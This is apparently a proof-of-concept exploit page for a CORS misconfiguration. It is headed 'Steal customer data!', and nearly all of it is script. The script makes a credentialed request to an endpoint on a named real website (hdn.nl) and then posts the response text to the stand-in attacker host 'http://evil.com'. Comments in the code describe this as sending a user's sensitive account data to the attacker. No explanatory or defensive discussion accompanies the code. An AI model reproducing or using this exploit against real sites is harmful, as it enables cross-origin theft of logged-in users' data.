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Cross Origin Resource Sharing Misconfiguration
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| <!DOCTYPE html> | |
| <html> | |
| <body> | |
| <center> | |
| <h3>Steal customer data!</h3> | |
| <html> | |
| <body> | |
| <button type='button' onclick='cors()'>Exploit</button> | |
| <p id='demo'></p> | |
| <script> | |
| function cors() { | |
| var xhttp = new XMLHttpRequest(); | |
| xhttp.onreadystatechange = function() { | |
| if (this.readyState == 4 && this.status == 200) { | |
| var a = this.responseText; // Sensitive data from hdn.nl about user account | |
| document.getElementById("demo").innerHTML = a; | |
| xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website | |
| xhttp.withCredentials = true; | |
| console.log(a); | |
| xhttp.send("data="+a); | |
| } | |
| }; | |
| xhttp.open("GET", "https://www.hdn.nl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.hdn.nl%2Fkwartaaloverzicht-q3%2F", true); | |
| xhttp.withCredentials = true; | |
| xhttp.send(); | |
| } | |
| </script> | |
| </body> | |
| </html> |
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